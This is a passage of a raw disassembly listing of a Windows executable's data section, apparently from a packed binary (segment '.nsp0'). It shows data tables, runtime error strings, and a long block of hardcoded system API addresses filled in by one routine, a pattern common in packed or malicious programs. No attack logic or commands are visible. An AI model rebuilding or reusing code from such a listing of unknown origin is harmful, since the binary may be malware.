dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_422004 dd 1 ; DATA XREF: sub_40D934:loc_40D93Cr ; sub_40D934:loc_40D980r ... byte_422008 db 2Eh ; DATA XREF: sub_40F5E2:loc_40F8D6r ; sub_40F5E2+311r ... align 4 dd 1 dword_422010 dd 1 ; DATA XREF: sub_413260+Co dword_422014 dd 16h ; DATA XREF: sub_413260:loc_413295r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch byte_422178 db 1 ; DATA XREF: sub_413260+19o ; sub_413679+E1r db 2, 4, 8 align 10h dword_422180 dd 3A4h ; DATA XREF: sub_413679+2Fo dword_422184 dd 82798260h, 21h, 0 ; DATA XREF: sub_413679+11Dr dword_422190 dd 0DFA6h ; DATA XREF: sub_413679+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_422270 dd 0C0000005h ; DATA XREF: sub_413679+3Co ; sub_413EE0+Ar ... dword_422274 dd 0Bh ; DATA XREF: sub_416BC8+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4222E8 dd 3 ; DATA XREF: sub_413D9F+58r ; sub_416A9B+C8r dword_4222EC dd 7 ; DATA XREF: sub_413D9F+5Er ; sub_416A9B+CDr dword_4222F0 dd 0Ah ; DATA XREF: sub_413EE0+4r ; sub_416BC8+4r dword_4222F4 dd 8Ch ; DATA XREF: sub_413D9F+82r ; sub_413D9F+8Fw ... dword_4222F8 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_40ECC3:loc_40ED80o ; sub_412DA9:loc_412E2Ao dword_422300 dd 2 ; DATA XREF: sub_414679+Eo ; sub_414679+28r off_422304 dd offset aR6002FloatingP ; DATA XREF: sub_414679+FCr ; sub_414679+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 418AC0h, 9, 418A94h, 0Ah, 418A70h, 10h, 418A44h dd 11h, 418A14h, 12h, 4189F0h, 13h, 4189C4h, 18h, 41898Ch dd 19h, 418964h, 1Ah, 41892Ch, 1Bh, 4188F4h, 1Ch, 4188CCh dd 78h, 4188BCh, 79h, 4188ACh, 7Ah, 41889Ch, 0FCh, 418898h dd 0FFh, 418888h off_422390 dd offset dword_4820C0 ; DATA XREF: sub_414679+1Bo ; sub_4149E3+55o align 8 dd offset dword_4820C0 dd 101h dword_4223A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4149E3+72o dd 1000h, 0 dword_4223B0 dd 3 dup(0) ; DATA XREF: sub_40ECC3+50o ; sub_413AE3+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_4223D0 dd 3 dup(0) ; DATA XREF: sub_40ECC3+58o ; sub_413AE3:loc_413B01o dd 2, 0FFFFFFFFh, 7 dup(0) dword_422400 dd 84h dup(0) ; DATA XREF: sub_4149E3+9Bo dword_422610 dd 2694h ; DATA XREF: sub_411494+3r ; sub_4114E7+46r ... align 8 dword_422618 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41515Co dword_422630 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_415172o dword_422648 dd 7080h ; DATA XREF: sub_413393+76r ; sub_415A78+5Ew ... dword_42264C dd 1 ; DATA XREF: sub_413393+98r ; sub_415A78+8Bw ... dword_422650 dd 0FFFFF1F0h ; DATA XREF: sub_413393:loc_413445r ; sub_415A78+94w ... dword_422654 dd 545350h, 0Fh dup(0) ; DATA XREF: .nsp0:off_4226D4o dword_422694 dd 544450h, 0Fh dup(0) ; DATA XREF: .nsp0:off_4226D8o off_4226D4 dd offset dword_422654 ; DATA XREF: sub_415A78+BAr ; sub_415A78+D9r ... off_4226D8 dd offset dword_422694 ; DATA XREF: sub_415A78+F4r ; sub_415A78+11Br ... align 10h dword_4226E0 dd 0FFFFFFFFh ; DATA XREF: sub_415A78+1Dw ; sub_415CD6+1Er ... dword_4226E4 dd 0 ; DATA XREF: sub_415CD6:loc_415E0Ar ; sub_415E82+BFw dword_4226E8 dd 0 ; DATA XREF: sub_415CD6+192r ; sub_415E82+E0w align 10h dword_4226F0 dd 0FFFFFFFFh ; DATA XREF: sub_415A78+17w ; sub_415CD6+26r ... dword_4226F4 dd 0 ; DATA XREF: sub_415CD6+13Ar ; sub_415E82+EAw ... dword_4226F8 dd 0 ; DATA XREF: sub_415CD6+1A1r ; sub_415E82+23r ... dword_4226FC dd 0FFFFFFFFh ; DATA XREF: sub_415E82+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_42272C dd 16Dh ; DATA XREF: sub_413393+2Ar ; sub_415E82+2Er ... dword_422730 dd 0FFFFFFFFh ; DATA XREF: sub_415E82:loc_415F0Er dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_422768 dd 2 dup(0) ; DATA XREF: sub_416FF0+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4228C8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_416FF0+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_422A28 dd offset off_418CB0 ; DATA XREF: .nsp0:off_418CD8o ; .nsp0:00418E04o ... align 10h a_?avexception@ db '.?AVexception@@',0 off_422A40 dd offset off_418CB0 ; DATA XREF: .nsp0:off_418CF0o ; .nsp0:00418D84o ... align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h off_422A60 dd offset off_418CB0 ; DATA XREF: .nsp0:off_418D08o ; .nsp0:00418D4Co ... align 8 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_422A80 dd offset off_418CB0 ; DATA XREF: .nsp0:off_418D90o ; .nsp0:00418DD4o ... align 8 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h off_422AA0 dd offset off_418CB0 ; DATA XREF: .nsp0:off_418E10o ; .nsp0:00418E4Co align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41537C align 10h dword_422AC0 dd 0 ; DATA XREF: sub_4010CA+18r ; sub_401412+92w ... dword_422AC4 dd 0 ; DATA XREF: sub_40154B+19Cr ; sub_401704+D9w ... dd 4AEh dup(0) dword_423D80 dd 6 dup(0) ; DATA XREF: sub_40154B+95o ; sub_401704+65o ... dword_423D98 dd 0 ; DATA XREF: sub_401141+82w ; sub_401141+FFo dword_423D9C dd 41h dup(0) ; DATA XREF: sub_401141+41o dword_423EA0 dd 41h dup(0) ; DATA XREF: sub_401141+63o dword_423FA4 dd 0 ; DATA XREF: sub_401141+F5w ; sub_401141+111r dword_423FA8 dd 0 ; DATA XREF: sub_401141+52w dword_423FAC dd 0 ; DATA XREF: sub_401141+4Dw ; sub_401141+D2r dword_423FB0 dd 20h dup(0) ; DATA XREF: sub_401141+9Ao ; sub_401141+B7o dword_424030 dd 0 ; DATA XREF: sub_401141+8Fw dword_424034 dd 0 ; DATA XREF: sub_401141+A4w ; sub_401141+C1w dword_424038 dd 0 ; DATA XREF: sub_401141:loc_401307r align 10h dword_424040 dd 0 ; DATA XREF: sub_401141+190w ; sub_401141+222o dword_424044 dd 41h dup(0) ; DATA XREF: sub_401141+152o dword_424148 dd 41h dup(0) ; DATA XREF: sub_401141+171o dword_42424C dd 0 ; DATA XREF: sub_401141+218w ; sub_401141+234r dword_424250 dd 0 ; DATA XREF: sub_401141+160w dword_424254 dd 0 ; DATA XREF: sub_401141+1F5r dword_424258 dd 20h dup(0) ; DATA XREF: sub_401141+1A8o ; sub_401141+1DAo dword_4242D8 dd 0 ; DATA XREF: sub_401141+19Dw dword_4242DC dd 0 ; DATA XREF: sub_401141+1B2w ; sub_401141+1E4w dword_4242E0 dd 0 ; DATA XREF: sub_401141:loc_4013C0r dword_4242E4 dd 2 dup(0) ; DATA XREF: sub_401FE1+68o dword_4242EC dd 0 ; DATA XREF: sub_401A91+13o ; sub_4077FD+39D6o ... byte_4242F0 db 0 ; DATA XREF: sub_4022FD+10o ; sub_4032EE+438o ... align 8 dword_4242F8 dd 2400h dup(0) ; DATA XREF: sub_403145+1Do dword_42D2F8 dd 0Dh dup(0) ; DATA XREF: sub_403145+13o ; sub_403804+Fo dword_42D32C dd 0 ; DATA XREF: sub_403B83+C8o dword_42D330 dd 0 ; DATA XREF: sub_4043F8+2Aw ; sub_4043F8+51r ... dword_42D334 dd 0 ; DATA XREF: sub_4023B8+45r ; sub_402E09+ACr ... dd 107h dup(0) dword_42D754 dd 77C72C6Bh ; DATA XREF: sub_4045F0+42Fw ; sub_4045F0+473r dword_42D758 dd 77EBA994h ; DATA XREF: sub_4045F0+65w ; sub_405D93+EEr dword_42D75C dd 7622A3F4h ; DATA XREF: sub_4045F0+793w ; sub_4045F0+808r ... dword_42D760 dd 71C45229h ; DATA XREF: sub_4045F0+960w ; sub_4045F0+9BEr dword_42D764 dd 71C24870h ; DATA XREF: sub_4045F0+912w ; sub_4045F0+98Er ... dword_42D768 dd 77C71BB0h ; DATA XREF: sub_4045F0+415w ; sub_4045F0+463r dword_42D76C dd 71C4502Ch ; DATA XREF: sub_4045F0+953w ; sub_4045F0+9B6r dword_42D770 dd 77DE801Bh ; DATA XREF: sub_4045F0+2FAw ; sub_4045F0+34Fr dword_42D774 dd 77DDACABh ; DATA XREF: sub_4045F0+397w ; sub_40B807+11Er dword_42D778 dd 77DE8075h ; DATA XREF: sub_4045F0+307w ; sub_4045F0+357r dword_42D77C dd 77DD7496h ; DATA XREF: sub_4045F0+348w dword_42D780 dd 71AB1B7Bh ; DATA XREF: sub_4045F0+4E2w dword_42D784 dd 77E686CCh ; DATA XREF: sub_4038CB+1Br ; sub_4045F0+72w ... dword_42D788 dd 71C2498Bh ; DATA XREF: sub_4045F0+905w ; sub_4045F0+981r ... dword_42D78C dd 77DDAB2Fh ; DATA XREF: sub_4045F0+32Ew ; sub_4045F0+36Fr dword_42D790 dd 7620E8C3h ; DATA XREF: sub_4045F0+7E1w ; sub_4045F0+834r dword_42D794 dd 77DD23D7h ; DATA XREF: sub_4045F0+24Bw ; sub_4045F0+27Cr dword_42D798 dd 76214750h ; DATA XREF: sub_4032EE+3Ar ; sub_4045F0+7D4w ... dword_42D79C dd 77E6D75Bh ; DATA XREF: sub_4045F0+B3w dword_42D7A0 dd 7620BD61h ; DATA XREF: sub_4032EE+109r ; sub_4045F0+7EEw ... dword_42D7A4 dd 71AB60C9h ; DATA XREF: sub_4045F0+4D5w ; sub_4045F0+658r ... dword_42D7A8 dd 77EBA6E9h ; DATA XREF: sub_4045F0+58w ; sub_4045F0+CAr ... dword_42D7AC dd 76D62A58h ; DATA XREF: sub_4045F0+8BCw ; sub_405985+11Ar dword_42D7B0 dd 76F36EAAh ; DATA XREF: sub_4045F0+A0Cw ; sub_4045F0+A13r ... dword_42D7B4 dd 77E802FCh ; DATA XREF: sub_4045F0+A6w ; sub_4045F0+F2r dword_42D7B8 dd 77C75455h ; DATA XREF: sub_4045F0+408w ; sub_4045F0+45Br dword_42D7BC dd 71AB12A7h ; DATA XREF: sub_4013CA+20r ; sub_4045F0+57Ew ... dword_42D7C0 dd 71C574FAh ; DATA XREF: sub_4045F0+946w ; sub_4045F0+9AEr dword_42D7C4 dd 71AB1746h ; DATA XREF: sub_4045F0+571w ; sub_4045F0+6DCr dword_42D7C8 dd 71B28D0Dh ; DATA XREF: sub_4045F0+AC7w dword_42D7CC dd 762211EFh ; DATA XREF: sub_4045F0+786w ; sub_4045F0+7F5r ... dword_42D7D0 dd 77D902E3h ; DATA XREF: sub_4045F0+1B3w ; sub_4054F9+15r dword_42D7D4 dd 71C2FA86h ; DATA XREF: sub_4045F0+91Fw ; sub_4045F0+996r ... dword_42D7D8 dd 77DE1291h ; DATA XREF: sub_4045F0+314w ; sub_4045F0+35Fr dword_42D7DC dd 77E2C1B3h ; DATA XREF: sub_4045F0+321w ; sub_4045F0+367r dword_42D7E0 dd 71ABF628h ; DATA XREF: sub_4045F0+634w dword_42D7E4 dd 71AB1836h ; DATA XREF: sub_4032EE+459r ; sub_403B83+1Dr ... dword_42D7E8 dd 77C72889h ; DATA XREF: sub_4045F0+43Cw dword_42D7EC dd 71C453F8h ; DATA XREF: sub_4045F0+96Dw ; sub_4045F0+9C6r dword_42D7F0 dd 77DD5C55h ; DATA XREF: sub_4031BC+55r ; sub_4045F0+258w ... dword_42D7F4 dd 77E96645h ; DATA XREF: sub_403B00+25r ; sub_403B00+39r ... dword_42D7F8 dd 77428B97h ; DATA XREF: sub_4032EE+331r ; sub_4045F0+B14w ... dword_42D7FC dd 71AB41DAh ; DATA XREF: sub_4045F0+4BBw ; sub_4045F0+63Br ... dword_42D800 dd 762059A3h ; DATA XREF: sub_4045F0+7ADw ; sub_4045F0+818r dword_42D804 dd 71C4A1B4h ; DATA XREF: sub_4045F0+92Cw ; sub_4045F0+99Er dword_42D808 dd 1F7CD214h ; DATA XREF: sub_4045F0+B85w ; sub_4045F0+BB6r dword_42D80C dd 76D629BBh ; DATA XREF: sub_4045F0+8A2w ; sub_4045F0+8B6r ... dword_42D810 dd 1F7B9D96h ; DATA XREF: sub_4045F0+B9Fw dword_42D814 dd 71AB1740h ; DATA XREF: sub_4045F0+4FCw ; sub_4045F0+670r ... dword_42D818 dd 7620AFB6h ; DATA XREF: sub_4045F0+7C7w ; sub_4045F0+7FBr dword_42D81C dd 77D45B19h ; DATA XREF: sub_4045F0+172w ; sub_4045F0+1C2r dword_42D820 dd 71AB157Eh ; DATA XREF: sub_4045F0+600w ; sub_4045F0+72Cr ... dword_42D824 dd 71AB3E5Dh ; DATA XREF: sub_4014AE+59r ; sub_4023B8+F4r ... dword_42D828 dd 71AB14DCh ; DATA XREF: sub_4045F0+4EFw ; sub_4045F0+664r dword_42D82C dd 0CC0004h ; DATA XREF: sub_4032EE+34r ; sub_4045F0+863w ... dword_42D830 dd 77DD590Bh ; DATA XREF: sub_4031BC+2Ar ; sub_4045F0+231w ... dword_42D834 dd 71ABD755h ; DATA XREF: sub_4045F0+627w ; sub_4045F0+744r ... dword_42D838 dd 77DF7311h ; DATA XREF: sub_4045F0+2B5w ; sub_4045F0+2C9r ... dword_42D83C dd 77DDA2AFh ; DATA XREF: sub_4045F0+33Bw ; sub_4045F0+377r dword_42D840 dd 1F7CD927h ; DATA XREF: sub_4045F0+B78w ; sub_4045F0+BAEr dword_42D844 dd 76206853h ; DATA XREF: sub_4045F0+7A0w ; sub_4045F0+810r dword_42D848 dd 77D5E310h ; DATA XREF: sub_4045F0+18Cw ; sub_4045F0+1D2r ... dword_42D84C dd 76206B7Fh ; DATA XREF: sub_4045F0+7BAw ; sub_4045F0+820r dword_42D850 dd 71AB1444h ; DATA XREF: sub_4045F0+5ACw ; sub_4045F0+6FCr ... dword_42D854 dd 77DD189Ah ; DATA XREF: sub_4031BC+5Er ; sub_4045F0+265w ... dword_42D858 dd 71AB3F8Dh ; DATA XREF: sub_4045F0+5F3w ; sub_4045F0+724r ... dword_42D85C dd 77DD5D20h ; DATA XREF: sub_4045F0+2A8w ; sub_4045F0+2BCr ... dword_42D860 dd 71AB1890h ; DATA XREF: sub_4014AE+82r ; sub_4045F0+5CCw ... dword_42D864 dd 77C76B34h ; DATA XREF: sub_4045F0+3D4w ; sub_4045F0+436r dword_42D868 dd 77D5E38Ch ; DATA XREF: sub_4045F0+199w ; sub_4045F0+1DAr ... dword_42D86C dd 77DDA20Bh ; DATA XREF: sub_4045F0+2EDw ; sub_4045F0+342r dword_42D870 dd 76F36EEBh ; DATA XREF: sub_4045F0+A19w dword_42D874 dd 71AB12A7h ; DATA XREF: sub_4013CA+2Br ; sub_401F9C+7r ... dword_42D878 dd 71AB1746h ; DATA XREF: sub_4014AE+38r ; sub_4023B8+D6r ... dword_42D87C dd 77EBA595h ; DATA XREF: sub_4045F0+4Bw ; sub_4045F0+C2r ... dword_42D880 dd 77C7531Dh ; DATA XREF: sub_4045F0+3FBw ; sub_4045F0+453r dword_42D884 dd 77D4BDCAh ; DATA XREF: sub_4045F0+165w ; sub_4045F0+1BAr ... dword_42D888 dd 71C3516Ah ; DATA XREF: sub_4045F0+987w dword_42D88C dd 71AB32CAh ; DATA XREF: sub_4045F0+60Dw ; sub_4045F0+734r dword_42D890 dd 71AB5690h ; DATA XREF: sub_401F1D+75r ; sub_402E09+79r ... dword_42D894 dd 1F7CB8F8h ; DATA XREF: sub_4045F0+B92w ; sub_4045F0+BBEr dword_42D898 dd 77EBB1E7h ; DATA XREF: sub_4045F0+3Ew ; sub_4045F0+BAr ... dword_42D89C dd 77DD59F0h ; DATA XREF: sub_4031BC+49r ; sub_4045F0+23Ew ... dword_42D8A0 dd 71AB5DE2h ; DATA XREF: sub_4045F0+5D9w ; sub_4045F0+714r ... dword_42D8A4 dd 71AB3ECEh ; DATA XREF: sub_4045F0+5BFw ; sub_4045F0+704r ... dword_42D8A8 dd 76204E4Dh ; DATA XREF: sub_4032EE+4C9r ; sub_4045F0+801w dword_42D8AC dd 0 ; DATA XREF: sub_4045F0+112w dword_42D8B0 dd 1F7D886Ah ; DATA XREF: sub_4045F0+B5Ew ; sub_4045F0+B99r dword_42D8B4 dd 71AB12F8h ; DATA XREF: sub_401704+2Cr ; sub_4023B8+E4r ... dword_42D8B8 dd 77C76551h ; DATA XREF: sub_4045F0+3E1w ; sub_4045F0+443r dword_42D8BC dd 77C729E2h ; DATA XREF: sub_4045F0+422w ; sub_4045F0+46Br dword_42D8C0 dd 77C7212Fh ; DATA XREF: sub_4045F0+3EEw ; sub_4045F0+44Br dword_42D8C4 dd 71AB1AF4h ; DATA XREF: sub_401F9C+1Br ; sub_401F9C+35r ... dword_42D8C8 dd 77D5E303h ; DATA XREF: sub_4045F0+1A6w ; sub_4045F0+1E2r ... dword_42D8CC dd 71C4576Ch ; DATA XREF: sub_4045F0+97Aw ; sub_4045F0+9CEr dword_42D8D0 dd 77D4702Fh ; DATA XREF: sub_4045F0+158w ; sub_4045F0+1ADr ... dword_42D8D4 dd 77E6C0E3h ; DATA XREF: sub_403882+4r ; sub_4045F0+8Cw ... dword_42D8D8 dd 71AB1ED3h ; DATA XREF: sub_4045F0+598w ; sub_4045F0+6ECr ... dword_42D8DC dd 71B2A381h ; DATA XREF: sub_4045F0+ABAw ; sub_4045F0+AD6r dword_42D8E0 dd 77DDA595h ; DATA XREF: sub_4045F0+2C2w ; sub_405D28+55r dword_42D8E4 dd 77DD22EAh ; DATA XREF: sub_4045F0+224w ; sub_4045F0+25Fr ... dword_42D8E8 dd 773F97B0h ; DATA XREF: sub_4045F0+B21w dword_42D8EC dd 76D67A29h ; DATA XREF: sub_4045F0+A63w ; sub_405811+8Fr dword_42D8F0 dd 76D674FAh ; DATA XREF: sub_4045F0+A56w ; sub_4045F0+A5Dr ... dword_42D8F4 dd 71AB3C22h ; DATA XREF: sub_4014AE+18r ; sub_402E09+44r ... dword_42D8F8 dd 71AB2BBFh ; DATA XREF: sub_4045F0+61Aw ; sub_4045F0+73Cr ... dword_42D8FC dd 1F7BA3A9h ; DATA XREF: sub_4045F0+B6Bw ; sub_4045F0+BA6r dword_42D900 dd 71AB401Ch ; DATA XREF: sub_4010CA+1Fr ; sub_40154B+E1r ... dword_42D904 dd 71C214BAh ; DATA XREF: sub_4045F0+939w ; sub_4045F0+9A6r ... dword_42D908 dd 71AB868Dh ; DATA XREF: sub_4045F0+5E6w ; sub_4045F0+71Cr ... dword_42D90C dd 71AB1A6Dh ; DATA XREF: sub_4014AE+8Br ; sub_4023B8+185r ... dword_42D910 dd 71AB155Ah ; DATA XREF: sub_4014AE+4Cr ; sub_4045F0+523w ... dword_42D914 dd 71B22C25h ; DATA XREF: sub_4045F0+AADw ; sub_4045F0+ACEr dword_42D918 dd 71AB5A01h ; DATA XREF: sub_4045F0+4C8w ; sub_4045F0+64Cr ... dword_42D91C dd 71B2ACCBh ; DATA XREF: sub_4045F0+AA0w ; sub_4045F0+AC1r dword_42D920 dd 77E78C17h ; DATA XREF: sub_4045F0+31w ; sub_4045F0+ADr ... dword_42D924 dd 77D49A11h ; DATA XREF: sub_4045F0+17Fw ; sub_4045F0+1CAr dword_42D928 dd 76D62A37h ; DATA XREF: sub_4045F0+8AFw ; sub_4045F0+8C3r ... dword_42D92C dd 77E6CBF9h ; DATA XREF: sub_4045F0+99w ; sub_4045F0+EAr ... dword_42D930 dd 0 ; DATA XREF: sub_4045F0:loc_4046EEw ; sub_4045F0+12Bw dword_42D934 dd 0 ; DATA XREF: sub_4045F0+126w dword_42D938 dd 0 ; DATA XREF: sub_4045F0:loc_4047EBw dword_42D93C dd 0 ; DATA XREF: sub_4045F0+1F6w dword_42D940 dd 0 ; DATA XREF: sub_4045F0:loc_404880w ; sub_4045F0:loc_4048C5w ... dword_42D944 dd 0 ; DATA XREF: sub_4045F0+3A6w dword_42D948 dd 0 ; DATA XREF: sub_4045F0:loc_404A7Cw dword_42D94C dd 0 ; DATA XREF: sub_4045F0+487w dword_42D950 dd 0 ; DATA XREF: sub_4045F0:loc_404D4Dw dword_42D954 dd 0 ; DATA XREF: sub_4045F0+758w dword_42D958 dd 0 ; DATA XREF: sub_4045F0:loc_404E38w ; sub_4045F0+877w ... dword_42D95C dd 0 ; DATA XREF: sub_4045F0+872w dword_42D960 dd 0 ; DATA XREF: sub_4045F0:loc_404ECCw ; sub_4077FD:loc_409152r dword_42D964 dd 0 ; DATA XREF: sub_4045F0+8D7w dword_42D968 dd 0 ; DATA XREF: sub_4045F0:loc_404FD7w ; sub_4069FF+170r ... dword_42D96C dd 0 ; DATA XREF: sub_4045F0+9E2w dword_42D970 dd 0 ; DATA XREF: sub_4045F0:loc_405021w dword_42D974 dd 0 ; DATA XREF: sub_4045F0+A2Cw dword_42D978 dd 0 ; DATA XREF: sub_4045F0:loc_40506Bw dword_42D97C dd 0 ; DATA XREF: sub_4045F0+A76w dword_42D980 dd 0 ; DATA XREF: sub_4045F0:loc_4050DFw dword_42D984 dd 0 ; DATA XREF: sub_4045F0+AEAw dword_42D988 dd 0 ; DATA XREF: sub_4045F0:loc_405129w dword_42D98C dd 0 ; DATA XREF: sub_4045F0+B34w dword_42D990 dd 0 ; DATA XREF: sub_4045F0:loc_4051C7w dword_42D994 dd 0 ; DATA XREF: sub_4045F0+BD2w align 10h dword_42D9A0 dd 118h dup(0) ; DATA XREF: sub_40530E+6Ao dword_42DE00 dd 0 ; DATA XREF: sub_4056A3+45w ; sub_4056A3+4Dr ... dd 99h dup(0) byte_42E068 db 0 ; DATA XREF: sub_4056A3+29r ; sub_4056A3+34w align 4 dd 101h dup(0) dword_42E470 dd 4 dup(0) ; DATA XREF: sub_4058DC+32o dword_42E480 dd 82h dup(0) ; DATA XREF: sub_4067E1+8Do dword_42E688 dd 0 ; DATA XREF: sub_40304D+Ao ; sub_40304D+44r ... dd 5 dup(0) dword_42E6A0 dd 0 ; DATA XREF: sub_40304D+60r ; sub_4077FD+881r dd 2D9h dup(0) dword_42F208 dd 0 ; DATA XREF: sub_40154B+6Br ; sub_40304D+2Do ... dd 7Fh dup(0) dword_42F408 dd 0 ; DATA XREF: sub_40C062+4Cw ; sub_40C19D+3Aw ... dword_42F40C dd 0 ; DATA XREF: sub_40154B:loc_4016E1r ; sub_401704+12Cw ... dword_42F410 dd 0 ; DATA XREF: sub_40C062+45w ; sub_40C19D+34r ... dword_42F414 dd 0 ; DATA XREF: sub_403B83+Cr ; sub_406055+7Bw ... dword_42F418 dd 0 ; DATA XREF: sub_4061D2+11Ew ; sub_4063A4+53r ... dword_42F41C dd 0 ; DATA XREF: sub_401141+11Fw ; sub_401141+244w ... byte_42F420 db 0 ; DATA XREF: sub_40752C+91o ; sub_40C062+59w ... align 4 dd 1789h dup(0) db 0 byte_435249 db 3 dup(0) ; DATA XREF: .nsp0:off_41D754o dd 4141h dup(0) dword_445750 dd 0F126h dup(0) ; DATA XREF: .nsp0:off_41C280o dword_481BE8 dd 1Bh ; DATA XREF: sub_401000:loc_40106Er ; sub_407041+42w ... align 10h dword_481BF0 dd 0 ; DATA XREF: sub_407041+407o dword_481BF4 dd 20h dup(0) ; DATA XREF: sub_407041+394o dword_481C74 dd 10h dup(0) ; DATA XREF: sub_407041+3ABo dword_481CB4 dd 24h dup(0) ; DATA XREF: sub_407041+3C2o dword_481D44 dd 0 ; DATA XREF: sub_407041+3B6w ; sub_407041+467w ... dword_481D48 dd 0 ; DATA XREF: sub_407041+3D5w dd 2 dup(0) db 0 byte_481D55 db 0 ; DATA XREF: sub_407681+28r ; sub_407681+30o align 4 dword_481D58 dd 0 ; DATA XREF: sub_407041:loc_407441w ; sub_407041+41Dr ... dword_481D5C dd 0 ; DATA XREF: sub_407041+38Dw ; sub_4077FD+7F4r dword_481D60 dd 0Eh dup(0) ; DATA XREF: sub_40B6FE+3Eo dword_481D98 dd 0 ; DATA XREF: sub_40CEB9+Aw align 10h dword_481DA0 dd 0 ; DATA XREF: sub_40E2E2+5Er ; sub_40E2E2+A4w align 8 word_481DA8 dw 0 ; DATA XREF: 